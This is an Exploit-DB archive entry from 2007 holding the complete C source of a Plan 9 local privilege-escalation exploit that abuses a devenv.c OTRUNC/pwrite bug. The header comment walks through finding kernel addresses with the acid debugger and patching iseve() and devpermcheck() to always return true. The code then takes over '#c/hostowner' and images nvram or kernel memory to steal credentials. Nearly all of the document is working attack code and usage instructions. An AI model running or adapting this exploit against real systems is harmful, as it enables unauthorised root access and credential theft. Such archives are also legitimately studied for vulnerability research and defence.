Plan 9 Kernel - 'devenv.c OTRUNC/pwrite' Local Privilege Escalation

EDB-ID:

3383


Author:

Don Bailey

Type:

local


Platform:

Plan9

Date:

2007-02-28


/* !!! DO NOT DISTRIBUTE !!! */

/* identity theft 
 *
 * this exploit uses my devenv.c OTRUNC/pwrite vulnerability
 * to overwrite specific kernel addresses to help elevate our
 * privileges. this exploit is *very* picky, so you *must*
 * understand the plan9 kernel and know what you are
 * doing, though a best-practice usage example will 
 * guide new users.
 *
 * the exploit process is:
 *	1) determine the user we're running as
 *	2) determine the hostowner for the server
 *	3) overwrite specific kernel addresses
 *	4) write our username to  '#c/hostowner' 
 *	5) steal credentials by copying nvram or paging
 *		through kernel memory for resident creds
 *	6) reset previously overwritten functions 
 *	7) write the original username back to '#c/hostowner'
 *
 * a best practice usage example is to overwrite iseve() so
 * the kernel is tricked into thinking we're the host owner. 
 * secondly, we can overwrite devpermcheck() to trick the
 * kernel into thinking we have permissions to access any
 * given in-kernel device file. this will give us immediate
 * access to things like /srv/fscons and '#S/sdC0/nvram'. 
 *
 * to get the address you want to overwrite, use the plan9
 * debugger after you figure out which kernel the system
 * is booting:
 *
 * cpu% acid /386/9pccpu
 * /386/9pccpu:386 plan 9 boot image
 *
 * /sys/lib/acid/port
 * /sys/lib/acid/386
 * acid: print(iseve)
 * 0xf018d3db
 * acid: mem(iseve, "X")
 * 0x8b0cec83
 * acid: print(devpermcheck)
 * 0xf0192a6b
 * acid: mem(devpermcheck, "X")
 * 0x8b14ec83
 * acid: ^D
 * cpu% ./itheft -n -o nvram.img -s 0,1024 \
 *	-k 0xf018d3db,83ec0c8b,31c040c3 \
 *	-k 0xf0192a6b,83ec148b,31c040c3
 *
 * as you can see, we overwrite the function addresses in 
 * kmem with:
 *
 *	xorl %eax, %eax
 *	incl %eax
 *	retl
 *
 * a note on exploit effects. 
 * when we overwrite '#c/hostowner', the kernel 
 * automatically changes all processes owned by the 
 * previous hostowner id to the new id. when the exploit
 * has obtained the target information from the kernel, it
 * will write the previous hostowner id to '#c/hostowner'. 
 * since *your* id was now just the hostowner id, this 
 * second write will alter *your* bin/rc instance's owner
 * to the id of the original hostowner. this may seem 
 * desirable, however it isn't. the reason is that despite 
 * having access to the hostowner's name, we don't have
 * access to the hostowner's credentials. thus, access to
 * their files and factotum is still disabled. 
 * 
 * therefore, it's best to immediately exit your CPU shell
 * once the exploit is finished. 
 *
 * lastly, when using a target of Tmem, expect a kernel 
 * panic when you trigger a page fault with a bad address. 
 * make sure you define an appropriate base and ceiling 
 * when paging through memory. 
 *
 * NB: it'd be nice to have a memory disclosure exploit that's
 * as reliable as this one to help verify whether or not the 
 * kernel addresses are as expected (whether or not we've
 * ran bin/acid on the appropriate kernel and obtained the
 * correct kernel addresses)
 *
 * Don "north" Bailey 12/27/06
 * don.bailey@gmail.com
 *
 * you say the hill is too steep to climb
 * you say you'd like to see me try
 * you pick the place and I'll choose the time
 * and I'll climb the hill in my own way
 *  - gilmour/waters
 */

#include <u.h>
#include <libc.h>

enum
{
	False,
	True,
};

enum
{
	Anew,
	Aold,
};

enum
{
	Tmem,
	Tnvram,
};

typedef struct Seg Seg;
typedef struct Kfunc Kfunc;

struct
Seg
{
	ulong base;
	ulong ceiling;
};

struct
Kfunc
{
	int nnew;
	int nold;
	vlong addr;
	uchar * new;
	uchar * old;
	Kfunc * next; 
};

static int outfd;
static int envfd;
static char * us;
static Seg * seg;
static int pagesz;
static Kfunc * kf;
static char * them;
static char * outfile;
static char * envpath;
static int target = Tnvram;

static int spin(void);
static int steal(void);
static int kwrite(int);
static void usage(void);
static int addk(char * );
static int envfile(void);
static uchar gethex(char);
static void cleanup(void);
static int getpagesz(void);
static int envremove(void);
static int addseg(char * );
static void delk(Kfunc ** );
static int myidentity(void);
static int stealfile(char * );
static int youridentity(void);
static int sethostowner(char * );
static void err(const char *, ... );
static void msg(const char *, ... );
static int arguments(int, char ** );
static int userfile(char *, char ** );
static void xstrdup(char *, char ** );
static int parsebytes(char *, uchar **, int * );

void
main(int argc, char * argv[])
{
	int e;

	e = arguments(argc, argv);
	if(!e)
		usage();
	else
		e = spin();

	cleanup();

	if(e)
		exits(nil);

	exits("you suck as a thief");
}

static void
cleanup(void)
{
	Kfunc * k;
	Kfunc * l;

	if(us)
		free(us);
	if(seg)
		free(seg);
	if(them)
		free(them);
	if(outfile)
		free(outfile);
	if(envpath)
		free(envpath);

	if(envfd > 0)
		close(envfd);
	if(outfd > 0)
		close(outfd);

	for(k = kf; k; k = l)
	{
		l = k->next;
		delk(&k);
	}
}

static void
usage(void)
{
	fprint(
		2, 
		"usage: ithief [-{n|m}] -s base,ceiling "
		"-o outfile -k ... [-k ... ]\n");
}

static int
arguments(int argc, char ** argv)
{
	char * p;

	ARGBEGIN
	{
	case 'n':
		{
			target = Tnvram;
			break;
		}
	case 'm':
		{
			target = Tmem;
			break;
		}
	case 's':
		{
			p = ARGF();
			if(!p)
			{
				err("option 's' needs an argument");
				return False;
			}

			if(!addseg(p))
				return False;

			break;
		}
	case 'k':
		{
			p = ARGF();
			if(!p)
			{
				err("option 'k' needs an argument");
				return False;
			}

			if(!addk(p))
				return False;

			break;
		}
	case 'o':
		{
			p = ARGF();
			if(!p)
			{
				err("option 'o' needs an argument");
				return False;
			}

			if(outfile)
			{
				err("option 'o' already set");
				return False;
			}

			xstrdup(p, &outfile);
			break;
		}
	default:
		{
			err("unknown option '%c'", ARGC());
			return False;
		}
	}
	ARGEND

	if(!kf)
	{
		err("at least one 'k' is required");
		return False;
	}

	if(!seg)
	{
		err("one 's' is required");
		return False;
	}

	if(!outfile)
	{
		err("an output file is required");
		return False;
	}

	return True;
}

static void
err(const char * fmt, ... )
{
	va_list v;

	va_start(v, fmt);

	fprint(2, "error: ");
	vfprint(2, fmt, v);
	fprint(2, "\n");

	va_end(v);
}

static void
msg(const char * fmt, ... )
{
	va_list v;

	va_start(v, fmt);

	fprint(1, "ithief: ");
	vfprint(1, fmt, v);
	fprint(1, "\n");

	va_end(v);
}

static void
xstrdup(char * in, char ** outp)
{
	char * out;
	int sz;

	sz = strlen(in) + 1;

	out = calloc(1, sz);
	if(!out)
	{
		perror("calloc");
		abort();
	}

	memcpy(out, in, sz);
	*outp = out;
}

static int
addk(char * p)
{
	Kfunc * kp;
	Kfunc * k;
	char * c;
	char * e;
	char t;

	k = calloc(1, sizeof *k);
	if(!k)
	{
		perror("calloc");
		abort();
	}

	for(c = p; *c && *c != ','; c++)
		;
	t = *c;
	*c = 0;

	k->addr = strtoull(p, 0, 0);
	*c = t;

	if(!t)
		goto _fail;

	for(e = ++c; *c && *c != ','; c++)
		;
	t = *c;
	*c = 0;

	if(!parsebytes(e, &k->old, &k->nold))
		goto _fail;

	if(!t)
		goto _fail;

	for(e = ++c; *c; c++)
		;

	if(!parsebytes(e, &k->new, &k->nnew))
		goto _fail;

	for(kp = kf; kp && kp->next; kp = kp->next)
		;
	if(!kp)
		kf = k;
	else
		kp->next = k;

	return True;

_fail:
	err("invalid K syntax");
	delk(&k);
	return False;
}

static void
delk(Kfunc ** kp)
{
	Kfunc * k;

	k = *kp;
	*kp = nil;

	if(k->new)
		free(k->new);
	if(k->old)
		free(k->old);

	free(k);
}

static int
parsebytes(char * p, uchar ** bytesp, int * np)
{
	uchar * bytes;
	uchar byte;
	int n;

	n = strlen(p);
	if(n % 2)
	{
		err("the byte stream must be an even length");
		return False;
	}

	n = 0;
	bytes = nil;

	while(p[0] && p[1])
	{
		byte = gethex(p[0]) << 4 | gethex(p[1]);
		bytes = realloc(bytes, (n + 1) * sizeof *bytes);
		bytes[n++] = byte;
		p += 2;
	}

	*bytesp = bytes;
	*np = n;

	return True;
}

static uchar 
gethex(char c)
{
	return (c >= '0' && c <= '9') ? c - '0' :
			(c >= 'a' && c <= 'f') ? c - 'a' + 10 :
				(c >= 'A' && c <= 'F') ? c - 'A' + 10 :
					-1;
}

static int
spin(void)
{
	outfd = create(outfile, OWRITE, 0600);
	if(outfd < 0)
	{
		err("can't create \"%s\": %r", outfile);
		return False;
	}

	if(!getpagesz())
		return False;

	if(!myidentity())
		return False;

	if(!youridentity())
		return False;

	if(!envfile())
		return False;

	if(!kwrite(Anew))
		return False;

	if(!sethostowner(us))
		return False;

	if(!steal())
		return False;

	if(!kwrite(Aold))
		return False;

	if(!sethostowner(them))
		return False;

	return envremove();
}

static int
getpagesz(void)
{
	char buffer[64];
	char * p;
	char * q;
	int fd;
	int e;

	fd = open("#c/swap", OREAD);
	if(fd < 0)
	{
		err("can't open \"#c/swap\": %r");
		return False;
	}

	e = read(fd, buffer, sizeof buffer);
	if(e < 0)
	{
		err("can't read \"#c/swap\": %r");
		close(fd);
		return False;
	}

	close(fd);

	for(p = buffer; (p - buffer) < sizeof buffer && *p != '\n'; p++)
		;
	for(q = ++p; 
		(q - buffer) < sizeof buffer && (*q != ' ' && *q != '\t'); 
		q++)
		;
	*q = 0;

	pagesz = strtoul(p, 0, 0);
	msg("the system page size is %d", pagesz);

	return True;
}

static int
myidentity(void)
{
	if(!userfile("#c/user", &us))
		return False;

	msg("we are \"%s\"", us);
	return True;
}

static int
youridentity(void)
{
	if(!userfile("#c/hostowner", &them))
		return False;

	if(!strcmp(us, them))
	{
		err("we are the hostowner, genius");
		return False;
	}

	msg("they are \"%s\"", them);
	return True;
}

static int
userfile(char * uf, char ** namep)
{
	char buffer[1024];
	int fd;
	int n;

	fd = open(uf, OREAD);
	if(fd < 0)
	{
		err("can't obtain an username from \"%s\": %r", uf);
		return False;
	}

	n = read(fd, buffer, sizeof buffer);
	if(n <= 0)
	{
		err("bad read on \"%s\"? %r");
		close(fd);
		return False;
	}

	if(n == sizeof buffer)
		n = sizeof buffer - 1;

	buffer[n] = 0;

	close(fd);
	xstrdup(buffer, namep);

	return True;
}

static int
envfile(void)
{
	char buffer[32];
	char * p;
	int fd;

	/* easier to just create our own and rm it */

	snprint(buffer, sizeof buffer, "#e/XXXXXXXXXXX");

	p = mktemp(buffer);
	if(!p[0] || (p[0] == '/' && !p[1]))
	{
		err("mktemp failed: %r");
		return False;
	}

	msg("creating \"%s\"", p);

	fd = create(p, ORDWR, 0600);
	if(fd < 0)
	{
		err("can't create \"%s\": %r", p);
		return False;
	}

	msg("truncating \"%s\"", p);
	close(fd);

	fd = open(p, OWRITE|OTRUNC);
	if(fd < 0)
	{
		err("can't open \"%s\": %r", p);
		return False;
	}

	msg("\"%s\" is ready for manipulation", p);

	xstrdup(buffer, &envpath);
	envfd = fd;

	return True;
}

static int
kwrite(int obj)
{
	Kfunc * k;
	uchar * p;
	long b;
	long n;

	for(k = kf; k; k = k->next)
	{
		if(obj == Anew)
		{
			p = k->new;
			b = k->nnew;
		}
		else
		{
			p = k->old;
			b = k->nold;
		}

		msg(
			"writing %d %s bytes to %lluX", 
			b, 
			obj == Anew ? "new" : "old", 
			k->addr);

		n = pwrite(envfd, p, b, k->addr);
		if(n != b)
		{
			err("failed to write to \"%s\": %r", envpath);
			return False;
		}
	}

	return True;
}

static int
sethostowner(char * new)
{
	char * test;
	int fd;
	int n;
	int e;

	fd = open("#c/hostowner", OWRITE);
	if(fd < 0)
	{
		err("can't open \"#c/hostowner\": %r");
		return False;
	}

	n = strlen(new);

	e = write(fd, new, n);
	if(e != n)
	{
		err("write to \"#c/hostowner\" failed: %r");
		close(fd);
		return False;
	}

	close(fd);
	msg("write of \"%s\" to \"#c/hostowner\" succeeded", new);

	if(!userfile("#c/hostowner", &test))
	{
		err("can't retrieve \"#c/hostowner\" for comparison?");
		return False;
	}

	e = strcmp(new, test) == 0;
	if(!e)
	{
		err(
			"write on \"#c/hostowner\" succeeded but stored"
			"value isn't as expected: \"%s\"", 
			test);
	}

	free(test);

	return e;
}

static int
steal(void)
{
	char buffer[32];

	if(target == Tnvram)
		return stealfile("#S/sdC0/nvram");

	snprint(buffer, sizeof buffer, "#p/%d/mem", getpid());

	return stealfile(buffer);
}

static int
stealfile(char * path)
{
	uchar * page;
	ulong addr;
	long n;
	int fd;

	msg("opening \"%s\" for imaging", path);

	fd = open(path, OREAD);
	if(fd < 0)
	{
		err("can't open \"%s\": %r", path);
		return False;
	}

	page = calloc(1, pagesz);
	if(!page)
	{
		err("calloc failed: %r");
		abort();
	}

	addr = seg->base;

	while(addr < seg->ceiling)
	{
		n = pread(fd, page, pagesz, addr);
		if(n <= 0)
		{
			if(n < 0)
				err("read on \"%s\" failed: %r", path);
			break;
		}

		write(outfd, page, n);
		addr += n;
	}

	return True;
}

static int
envremove(void)
{
	remove(envpath);
	return True;
}

static int
addseg(char * p)
{
	ulong ceiling;
	ulong base;
	char * c;
	Seg * s;
	char t;

	if(seg)
	{
		err("only one segment can be defined");
		return False;
	}

	for(c = p; *c && *c != ','; c++)
		;
	if(!*c)
	{
		err("invalid seg syntax");
		return False;
	}

	t = *c;
	*c = 0;

	base = strtoul(p, 0, 0);
	*c++ = t;

	ceiling = strtoul(c, 0, 0);

	if(ceiling <= base)
	{
		err("invalid seg syntax; ceiling <= base");
		return False;
	}

	s = calloc(1, sizeof *s);
	if(!s)
	{
		perror("calloc");
		abort();
	}

	s->base = base;
	s->ceiling = ceiling;

	msg("using a segment of %luX -> %luX", s->base, s->ceiling);

	seg = s;

	return True;
}

// milw0rm.com [2007-02-28]